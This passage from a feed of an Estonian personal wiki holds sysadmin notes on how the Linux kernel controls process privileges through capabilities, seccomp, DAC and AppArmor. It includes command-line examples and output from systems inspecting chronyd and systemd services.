# file: bin/ping&lt;br /&gt;
security.capability=0sAQAAAgAgAAAAAAAAAAAAAAAAAAA=&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kusjuures stat programm kasutab nn legacy syscall'i ja ei esita capabilities kohta infot (olevat olemas ka statx)&lt;br /&gt;
&lt;br /&gt;
Failile cap seadistamiseks sobib öelda nt&lt;br /&gt;
&lt;br /&gt;
 # setcap cap_net_raw,cap_setuid,cap_setgid+ep /tmp/capable&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* +ep - kehtestatud&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://wiki.archlinux.org/index.php/Capabilities&lt;br /&gt;
* man capabilities&lt;br /&gt;
&lt;br /&gt;
===Capabilities - 2026 kevad märkmed===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* teatud mõttes capabilities laiendab nö klassikaliselt setuid lahendust (mis võimaldab faili omaduste alusel tuletada protsessi käivitamise jaoks sobivad privileegid - tavaliselt tavakasutaja -&amp;gt; root kasutaja)&lt;br /&gt;
* võimalik on tekitada tavakasutajale kuuluva protsessi, mis on binditud privilegeeritud st &amp;lt;1024 port külge&lt;br /&gt;
* teatud määral päritakse capabilitied parent protsessi käest child protsessi poolt&lt;br /&gt;
&lt;br /&gt;
capabilities saab toimuda kahe nö allika põhiselt&lt;br /&gt;
&lt;br /&gt;
* faili xattr alusel staatiliselt&lt;br /&gt;
* kõrgema privileegiga protsessi poolt väljakutsutud viisil dünaamiliselt (nt systemd service unit)&lt;br /&gt;
&lt;br /&gt;
systemd puhul tavaliselt seadistatakse alumime ja ülemine lagi privileegidega&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# systemctl show systemd-resolved | grep Capab&lt;br /&gt;
CapabilityBoundingSet=cap_setpcap cap_net_bind_service cap_net_raw&lt;br /&gt;
AmbientCapabilities=cap_setpcap cap_net_bind_service cap_net_raw&lt;br /&gt;
&lt;br /&gt;
root@zabbix-pub-01:~# egrep -r AmbientCapabilities /lib/systemd/&lt;br /&gt;
/lib/systemd/system/e2scrub_reap.service:AmbientCapabilities=CAP_SYS_ADMIN CAP_SYS_RAWIO&lt;br /&gt;
/lib/systemd/system/e2scrub@.service:AmbientCapabilities=CAP_SYS_ADMIN CAP_SYS_RAWIO&lt;br /&gt;
/lib/systemd/system/xfs_scrub@.service:AmbientCapabilities=CAP_SYS_ADMIN CAP_FOWNER CAP_DAC_OVERRIDE CAP_DAC_READ_SEARCH CAP_SYS_RAWIO&lt;br /&gt;
/lib/systemd/system/systemd-timesyncd.service:AmbientCapabilities=CAP_SYS_TIME&lt;br /&gt;
/lib/systemd/system/systemd-networkd.service:AmbientCapabilities=CAP_NET_ADMIN CAP_NET_BIND_SERVICE CAP_NET_BROADCAST CAP_NET_RAW&lt;br /&gt;
/lib/systemd/system/systemd-resolved.service:AmbientCapabilities=CAP_SETPCAP CAP_NET_RAW CAP_NET_BIND_SERVICE&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Parasjagu olevat protsesside seisu capability mõttes esitab pscap programm, nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# apt-get install libcap-ng-utils&lt;br /&gt;
root@zabbix-pub-01:~# pscap -a&lt;br /&gt;
ppid  pid   uid         command             capabilities&lt;br /&gt;
0     1     root        systemd             full +&lt;br /&gt;
1     344   root        systemd-journal     chown, dac_override, dac_read_search, fowner, setgid, setuid, sys_ptrace, sys_admin, audit_control, mac_override, syslog, audit_read +&lt;br /&gt;
1     395   root        multipathd          full +&lt;br /&gt;
1     413   root        systemd-udevd       chown, dac_override, dac_read_search, fowner, fsetid, kill, setgid, setuid, setpcap, linux_immutable, net_bind_service, net_broadcast, net_admin, net_raw, ipc_lock, ipc_owner, sys_module, sys_rawio, sys_chroot, sys_ptrace, sys_pacct, sys_admin, sys_boot, sys_nice, sys_resource, sys_tty_config, mknod, lease, audit_write, audit_control, setfcap, mac_override, mac_admin, syslog, block_suspend, audit_read, perfmon, bpf, checkpoint_restore +&lt;br /&gt;
1     562   systemd-network  systemd-network     net_bind_service, net_broadcast, net_admin, net_raw @ +&lt;br /&gt;
1     577   systemd-resolve  systemd-resolve     net_raw @ +&lt;br /&gt;
1     593   systemd-timesync  systemd-timesyn     sys_time @ +&lt;br /&gt;
1     715   messagebus  dbus-daemon         audit_write +&lt;br /&gt;
1     719   root        php-fpm8.3          full +&lt;br /&gt;
1     724   root        qemu-ga             full +&lt;br /&gt;
1     733   root        systemd-logind      chown, dac_override, dac_read_search, fowner, linux_immutable, sys_admin, sys_tty_config, audit_control, mac_admin +&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Dünaamiline capability====&lt;br /&gt;
&lt;br /&gt;
Ühes aknas öeldakse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# capsh --keep=1 --user=nobody --inh=cap_chown --addamb=cap_chown --caps=&amp;quot;cap_chown=eip&amp;quot; -- -c &amp;quot;sleep 60&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja teises küsitakse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# ps aux | grep sleep&lt;br /&gt;
nobody    216107  0.0  0.1   5692  2196 pts/0    S+   00:45   0:00 sleep 60&lt;br /&gt;
&lt;br /&gt;
root@zabbix-pub-01:~# grep -i cap /proc/216107/status&lt;br /&gt;
CapInh:	0000000000000001&lt;br /&gt;
CapPrm:	0000000000000001&lt;br /&gt;
CapEff:	0000000000000001&lt;br /&gt;
CapBnd:	000001ffffffffff&lt;br /&gt;
CapAmb:	0000000000000001&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===seccomp===&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
seccomp leiab kõneks olevad syscallid üles nn bpf-classic filtrite abil, antud juhul 23 tükki (neid ei esita bpftool prog show)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# cat /proc/1436092/status | grep Seccomp&lt;br /&gt;
Seccomp:	2&lt;br /&gt;
Seccomp_filters:	23&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@dh-minio-01:~# cat seccomp-list.sh&lt;br /&gt;
for pid in $(ls /proc | grep -E '^[0-9]+$'); do&lt;br /&gt;
    status=$(grep &amp;quot;Seccomp:&amp;quot; /proc/$pid/status 2&amp;gt;/dev/null | awk '{print $2}')&lt;br /&gt;
    if [ &amp;quot;$status&amp;quot; = &amp;quot;2&amp;quot; ]; then&lt;br /&gt;
        name=$(cat /proc/$pid/comm)&lt;br /&gt;
        echo &amp;quot;PID $pid ($name) is SECCOMP FILTERED&amp;quot;&lt;br /&gt;
    fi&lt;br /&gt;
done&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
nt Debian v. 13 arvutis&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@dh-minio-01:~# sh seccomp-list.sh&lt;br /&gt;
PID 11405 (rsyslogd) is SECCOMP FILTERED&lt;br /&gt;
PID 155380 (nginx) is SECCOMP FILTERED&lt;br /&gt;
PID 155381 (nginx) is SECCOMP FILTERED&lt;br /&gt;
PID 155382 (nginx) is SECCOMP FILTERED&lt;br /&gt;
PID 157836 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157837 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157838 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157840 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157841 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157842 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 297 (systemd-journal) is SECCOMP FILTERED&lt;br /&gt;
PID 322 (systemd-timesyn) is SECCOMP FILTERED&lt;br /&gt;
PID 353 (systemd-udevd) is SECCOMP FILTERED&lt;br /&gt;
PID 653 (systemd-logind) is SECCOMP FILTERED&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://oneuptime.com/blog/post/2026-03-02-how-to-use-seccomp-to-restrict-system-calls-on-ubuntu/view&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Linux_kernel_kontrollib_tegevusi&amp;diff=3437</id>
		<title>Linux kernel kontrollib tegevusi</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Linux_kernel_kontrollib_tegevusi&amp;diff=3437"/>
		<updated>2026-05-03T23:19:52Z</updated>

		<summary type="html">&lt;p&gt;Imre: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Mõisted===&lt;br /&gt;
&lt;br /&gt;
* seccomp&lt;br /&gt;
* capabilities&lt;br /&gt;
* dac/acl&lt;br /&gt;
* lsm&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* üldiselt tahab protsess kasutada mingit ressurssi ja seda on vaja kontrollida (nt peab süsteem otsustama, kas seda kasutamist lubada)&lt;br /&gt;
* privileegid (st õigus midagi teha, midagi kasutada) pole mitte niivõrd kasutajal, aga privileegid on protsessil&lt;br /&gt;
* protsessi privileegid tulenevad muu hulgast kolmest asjaolust: 1. seccomp syscall tulemüür, 2. capabilities, 3. lsm&lt;br /&gt;
* capability'le vastab komplekt syscallisid (tavaliselt)&lt;br /&gt;
* system call (syscall, 'make system call') - xxx&lt;br /&gt;
&lt;br /&gt;
Syscallisid on üldiselt kahesuguseid&lt;br /&gt;
&lt;br /&gt;
* Automatic Syscalls: Actions like mmap(), read(), or brk() are considered &amp;quot;safe.&amp;quot; The kernel assumes that if you have the memory or the file handle, you can perform these actions. No special &amp;quot;permission&amp;quot; is needed beyond standard file permissions.&lt;br /&gt;
* Restricted Syscalls: Actions like clock_adjtime(), reboot(), or mount() are &amp;quot;dangerous.&amp;quot; Historically, the kernel had a simple rule: if (uid == 0) (Root), allow; else, deny.&lt;br /&gt;
&lt;br /&gt;
Väited syscall kasutamise kohta&lt;br /&gt;
&lt;br /&gt;
* kui tavakasutaja tegeleb omale kuuluva tekstifaili sisu muutmisega, siis ta esmalt sooritab open() syscalli ja seda üldiselt lubatakse kõigil kasutajatel teha, seejuures saab süsteem teada, kas kasutajal on lubatud kõnealuse failiga tegeleda ja mil viisil jne; ja edasi kasutaja ütleb read() syscall'i: read() iseenesest vajab tugevaid lube töötamiseks, aga süsteem tuletab loa protsessi omaniku/grupi kõrvutamisest faili omaniku/grupi ja loabittidega - näiliselt tundub, et read(), write() jt selliste syscallide kasutamine toimub väga liberaalselt (käigult konstrueeritakse efektiivselt sobivad capacitid)&lt;br /&gt;
* kui kasutaja root käivitab tekstireadaktori asub tegelema tekstifaili sisu muutmisega, siis toimub sarnane kontroll kuid see annab väga jaatava vastuse kuna kasutaja on root (uid=0) - kernelil on kasutada loogika, et kui kasutaja on root siis see on samaväärne kõigi capacitite olemasoluga&lt;br /&gt;
&lt;br /&gt;
Joonis&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
   töötav protsess  -&amp;gt;  syscall liides        -&amp;gt; kernel               -&amp;gt;    ressurss&lt;br /&gt;
 &lt;br /&gt;
                    ^                              ^                  ^&lt;br /&gt;
                    |                              |                  |&lt;br /&gt;
                    |                              |                  |&lt;br /&gt;
 &lt;br /&gt;
            seccomp tulemüür                  capabilities      lsm (apparmor)&lt;br /&gt;
                                                  dac&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* systemd - tegeleb seccomp ja capabilities rakendamisega&lt;br /&gt;
* apparmor - tegeleb lsm rakendamisega&lt;br /&gt;
&lt;br /&gt;
===gemini joonis===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
[ PROCESS ]&lt;br /&gt;
      |&lt;br /&gt;
      | 1. SECCOMP GATE (The Vocabulary Check)&lt;br /&gt;
      |    &amp;quot;Is this syscall even allowed to be uttered?&amp;quot;&lt;br /&gt;
      |    [ Filter: 23 active ] ---------------------&amp;gt; [ REJECT / SIGSYS ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
      | 2. CAPABILITIES GATE (The Authority Check)&lt;br /&gt;
      |    &amp;quot;Does this process hold the specific bit for this action?&amp;quot;&lt;br /&gt;
      |    [ e.g., CAP_SYS_TIME ] --------------------&amp;gt; [ REJECT / EPERM ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
      | 3. DAC / ACL GATE (The Identity Check)&lt;br /&gt;
      |    &amp;quot;Is the process UID/GID on the list for this file/device?&amp;quot;&lt;br /&gt;
      |    [ Feature: +ACL ] -------------------------&amp;gt; [ REJECT / EACCES ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
      | 4. LSM / MAC GATE (The Policy &amp;quot;Horizon&amp;quot;)&lt;br /&gt;
      |    &amp;quot;Does the overall security policy permit this role this access?&amp;quot;&lt;br /&gt;
      |    [ AppArmor / SELINUX ] --------------------&amp;gt; [ REJECT / DENIED ]&lt;br /&gt;
      |&lt;br /&gt;
      v&lt;br /&gt;
  [ RESOURCE ] (e.g., /dev/sda, System Clock, Network Socket)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Capabilities===&lt;br /&gt;
&lt;br /&gt;
Linuxi tuumas on üldotstarbeline capability süsteem, mille abil nt saab protsessidele anda erinevaid privileege. Nt üks selline capabiliti on dac_override, mis seisneb selles, et root kasutajal on õigus sõita üle enamusest piirangutest, nt saab root töötada kasutajale kuuluvate failidega. Kui root kasutajale ei anna apparmor profiil erilisi privileege, siis root kasutaja on enam-vähem samaväärne tavakasutajaga, mille nimeks on 'root'. St tal ei ole õigust nt teiste kasutajate faile lugeda. Selleks, et root kasutajale kehtestatud apparmor profiili tingimustes see ülesõitmise privileeg tagasi tekiks sobib kasutada profiilis rida 'capability dac_override'. Capability süsteem on üldotstarbeline, ta ei ole LSM komponent, nt üks tema esinemise koht on selles, et uuemal ajal /bin/ping ei ole enam setuid&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# ls -ld /bin/ping&lt;br /&gt;
-rwxr-xr-x 1 root root 44104 Nov  8  2014 /bin/ping&lt;br /&gt;
&lt;br /&gt;
# getcap /bin/ping&lt;br /&gt;
/bin/ping = cap_net_raw+ep&lt;br /&gt;
&lt;br /&gt;
# getfattr -d -m &amp;quot;^security\\.&amp;quot; /bin/ping&lt;br /&gt;
getfattr: Removing leading '/' from absolute path names&lt;br /&gt;
# file: bin/ping&lt;br /&gt;
security.capability=0sAQAAAgAgAAAAAAAAAAAAAAAAAAA=&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kusjuures stat programm kasutab nn legacy syscall'i ja ei esita capabilities kohta infot (olevat olemas ka statx)&lt;br /&gt;
&lt;br /&gt;
Failile cap seadistamiseks sobib öelda nt&lt;br /&gt;
&lt;br /&gt;
 # setcap cap_net_raw,cap_setuid,cap_setgid+ep /tmp/capable&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* +ep - kehtestatud&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://wiki.archlinux.org/index.php/Capabilities&lt;br /&gt;
* man capabilities&lt;br /&gt;
&lt;br /&gt;
===Capabilities - 2026 kevad märkmed===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* teatud mõttes capabilities laiendab nö klassikaliselt setuid lahendust (mis võimaldab faili omaduste alusel tuletada protsessi käivitamise jaoks sobivad privileegid - tavaliselt tavakasutaja -&amp;gt; root kasutaja)&lt;br /&gt;
* võimalik on tekitada tavakasutajale kuuluva protsessi, mis on binditud privilegeeritud st &amp;lt;1024 port külge&lt;br /&gt;
* teatud määral päritakse capabilitied parent protsessi käest child protsessi poolt&lt;br /&gt;
&lt;br /&gt;
capabilities saab toimuda kahe nö allika põhiselt&lt;br /&gt;
&lt;br /&gt;
* faili xattr alusel staatiliselt&lt;br /&gt;
* kõrgema privileegiga protsessi poolt väljakutsutud viisil dünaamiliselt (nt systemd service unit)&lt;br /&gt;
&lt;br /&gt;
systemd puhul tavaliselt seadistatakse alumime ja ülemine lagi privileegidega&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# systemctl show systemd-resolved | grep Capab&lt;br /&gt;
CapabilityBoundingSet=cap_setpcap cap_net_bind_service cap_net_raw&lt;br /&gt;
AmbientCapabilities=cap_setpcap cap_net_bind_service cap_net_raw&lt;br /&gt;
&lt;br /&gt;
root@zabbix-pub-01:~# egrep -r AmbientCapabilities /lib/systemd/&lt;br /&gt;
/lib/systemd/system/e2scrub_reap.service:AmbientCapabilities=CAP_SYS_ADMIN CAP_SYS_RAWIO&lt;br /&gt;
/lib/systemd/system/e2scrub@.service:AmbientCapabilities=CAP_SYS_ADMIN CAP_SYS_RAWIO&lt;br /&gt;
/lib/systemd/system/xfs_scrub@.service:AmbientCapabilities=CAP_SYS_ADMIN CAP_FOWNER CAP_DAC_OVERRIDE CAP_DAC_READ_SEARCH CAP_SYS_RAWIO&lt;br /&gt;
/lib/systemd/system/systemd-timesyncd.service:AmbientCapabilities=CAP_SYS_TIME&lt;br /&gt;
/lib/systemd/system/systemd-networkd.service:AmbientCapabilities=CAP_NET_ADMIN CAP_NET_BIND_SERVICE CAP_NET_BROADCAST CAP_NET_RAW&lt;br /&gt;
/lib/systemd/system/systemd-resolved.service:AmbientCapabilities=CAP_SETPCAP CAP_NET_RAW CAP_NET_BIND_SERVICE&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Parasjagu olevat protsesside seisu capability mõttes esitab pscap programm, nt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# apt-get install libcap-ng-utils&lt;br /&gt;
root@zabbix-pub-01:~# pscap -a&lt;br /&gt;
ppid  pid   uid         command             capabilities&lt;br /&gt;
0     1     root        systemd             full +&lt;br /&gt;
1     344   root        systemd-journal     chown, dac_override, dac_read_search, fowner, setgid, setuid, sys_ptrace, sys_admin, audit_control, mac_override, syslog, audit_read +&lt;br /&gt;
1     395   root        multipathd          full +&lt;br /&gt;
1     413   root        systemd-udevd       chown, dac_override, dac_read_search, fowner, fsetid, kill, setgid, setuid, setpcap, linux_immutable, net_bind_service, net_broadcast, net_admin, net_raw, ipc_lock, ipc_owner, sys_module, sys_rawio, sys_chroot, sys_ptrace, sys_pacct, sys_admin, sys_boot, sys_nice, sys_resource, sys_tty_config, mknod, lease, audit_write, audit_control, setfcap, mac_override, mac_admin, syslog, block_suspend, audit_read, perfmon, bpf, checkpoint_restore +&lt;br /&gt;
1     562   systemd-network  systemd-network     net_bind_service, net_broadcast, net_admin, net_raw @ +&lt;br /&gt;
1     577   systemd-resolve  systemd-resolve     net_raw @ +&lt;br /&gt;
1     593   systemd-timesync  systemd-timesyn     sys_time @ +&lt;br /&gt;
1     715   messagebus  dbus-daemon         audit_write +&lt;br /&gt;
1     719   root        php-fpm8.3          full +&lt;br /&gt;
1     724   root        qemu-ga             full +&lt;br /&gt;
1     733   root        systemd-logind      chown, dac_override, dac_read_search, fowner, linux_immutable, sys_admin, sys_tty_config, audit_control, mac_admin +&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Dünaamiline capability====&lt;br /&gt;
&lt;br /&gt;
Ühes aknas öeldakse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# capsh --keep=1 --user=nobody --inh=cap_chown --addamb=cap_chown --caps=&amp;quot;cap_chown=eip&amp;quot; -- -c &amp;quot;sleep 60&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja teises küsitakse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@zabbix-pub-01:~# ps aux | grep sleep&lt;br /&gt;
nobody    216107  0.0  0.1   5692  2196 pts/0    S+   00:45   0:00 sleep 60&lt;br /&gt;
&lt;br /&gt;
root@zabbix-pub-01:~# grep -i cap /proc/216107/status&lt;br /&gt;
CapInh:	0000000000000001&lt;br /&gt;
CapPrm:	0000000000000001&lt;br /&gt;
CapEff:	0000000000000001&lt;br /&gt;
CapBnd:	000001ffffffffff&lt;br /&gt;
CapAmb:	0000000000000001&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===seccomp===&lt;br /&gt;
&lt;br /&gt;
====Tööpõhimõte====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====Misc====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@dh-minio-01:~# cat seccomp-list.sh&lt;br /&gt;
for pid in $(ls /proc | grep -E '^[0-9]+$'); do&lt;br /&gt;
    status=$(grep &amp;quot;Seccomp:&amp;quot; /proc/$pid/status 2&amp;gt;/dev/null | awk '{print $2}')&lt;br /&gt;
    if [ &amp;quot;$status&amp;quot; = &amp;quot;2&amp;quot; ]; then&lt;br /&gt;
        name=$(cat /proc/$pid/comm)&lt;br /&gt;
        echo &amp;quot;PID $pid ($name) is SECCOMP FILTERED&amp;quot;&lt;br /&gt;
    fi&lt;br /&gt;
done&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
nt Debian v. 13 arvutis&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@dh-minio-01:~# sh seccomp-list.sh&lt;br /&gt;
PID 11405 (rsyslogd) is SECCOMP FILTERED&lt;br /&gt;
PID 155380 (nginx) is SECCOMP FILTERED&lt;br /&gt;
PID 155381 (nginx) is SECCOMP FILTERED&lt;br /&gt;
PID 155382 (nginx) is SECCOMP FILTERED&lt;br /&gt;
PID 157836 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157837 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157838 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157840 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157841 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 157842 (postgres) is SECCOMP FILTERED&lt;br /&gt;
PID 297 (systemd-journal) is SECCOMP FILTERED&lt;br /&gt;
PID 322 (systemd-timesyn) is SECCOMP FILTERED&lt;br /&gt;
PID 353 (systemd-udevd) is SECCOMP FILTERED&lt;br /&gt;
PID 653 (systemd-logind) is SECCOMP FILTERED&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://oneuptime.com/blog/post/2026-03-02-how-to-use-seccomp-to-restrict-system-calls-on-ubuntu/view&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* TODO&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Chrony&amp;diff=3436</id>
		<title>Chrony</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Chrony&amp;diff=3436"/>
		<updated>2026-05-03T23:18:27Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* Misc - chrony protsess */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Tööpõhimõte===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Misc - chrony protsess===&lt;br /&gt;
&lt;br /&gt;
chronyd protsessi info&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# pgrep chronyd&lt;br /&gt;
1436092&lt;br /&gt;
1436093&lt;br /&gt;
root@pve-svc-02:~# lsns -p 1436093&lt;br /&gt;
        NS TYPE   NPROCS     PID USER    COMMAND&lt;br /&gt;
4026531833 net       481       1 root    /sbin/init&lt;br /&gt;
4026531834 time      481       1 root    /sbin/init&lt;br /&gt;
4026531835 cgroup    481       1 root    /sbin/init&lt;br /&gt;
4026531836 pid       481       1 root    /sbin/init&lt;br /&gt;
4026531837 user      481       1 root    /sbin/init&lt;br /&gt;
4026531839 ipc       481       1 root    /sbin/init&lt;br /&gt;
4026533035 mnt         2 1436092 _chrony ├─/usr/sbin/chronyd -F 1&lt;br /&gt;
4026533036 uts         2 1436092 _chrony └─/usr/sbin/chronyd -F 1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# cat /proc/1436092/status | grep -i seccomp&lt;br /&gt;
Seccomp:	2&lt;br /&gt;
Seccomp_filters:	23&lt;br /&gt;
&lt;br /&gt;
root@pve-svc-02:~# nsenter -m -t 1436092 findmnt | grep inacc | sed -r 's/tmpfs\s+.*//'&lt;br /&gt;
│ └─/dev/kmsg                                                    tmpfs[/systemd/inaccessible/chr]&lt;br /&gt;
│ ├─/run/credentials                                             tmpfs[/systemd/inaccessible/dir]&lt;br /&gt;
│ ├─/run/user                                                    tmpfs[/systemd/inaccessible/dir]&lt;br /&gt;
├─/root                                                          tmpfs[/systemd/inaccessible/dir]&lt;br /&gt;
├─/home                                                          tmpfs[/systemd/inaccessible/dir]&lt;br /&gt;
├─/usr/lib/modules                                               tmpfs[/systemd/inaccessible/dir]&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning capabilities&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# pscap -p 1436092&lt;br /&gt;
ppid  pid   uid         command             capabilities&lt;br /&gt;
1     1436092 _chrony     chronyd             net_bind_service, sys_time +&lt;br /&gt;
&lt;br /&gt;
root@pve-svc-02:~# pscap -p 1436093&lt;br /&gt;
ppid  pid   uid         command             capabilities&lt;br /&gt;
1436092 1436093 _chrony     chronyd             net_bind_service, sys_time +&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
või getpcaps abil (ep - effective, permitted)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# getpcaps 1436092&lt;br /&gt;
1436092: cap_net_bind_service,cap_sys_time=ep&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
või /proc/PID/status abil&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# cat /proc/1436092/status | grep ^Cap&lt;br /&gt;
CapInh:	0000000000000000&lt;br /&gt;
CapPrm:	0000000002000400&lt;br /&gt;
CapEff:	0000000002000400&lt;br /&gt;
CapBnd:	000001c08380fddf&lt;br /&gt;
CapAmb:	0000000000000000&lt;br /&gt;
&lt;br /&gt;
root@pve-svc-02:~# capsh --decode=0000000002000400&lt;br /&gt;
0x0000000002000400=cap_net_bind_service,cap_sys_time&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* CapInh: Inheritable (can be passed to children).&lt;br /&gt;
* CapPrm: Permitted (the maximum &amp;quot;credit limit&amp;quot; of authority).&lt;br /&gt;
* CapEff: Effective (the authority currently being used).&lt;br /&gt;
* CapBnd: Bounding (the hard ceiling that cannot be exceeded).&lt;br /&gt;
* CapAmb: Ambient (applies to unprivileged non-setuid binaries).&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
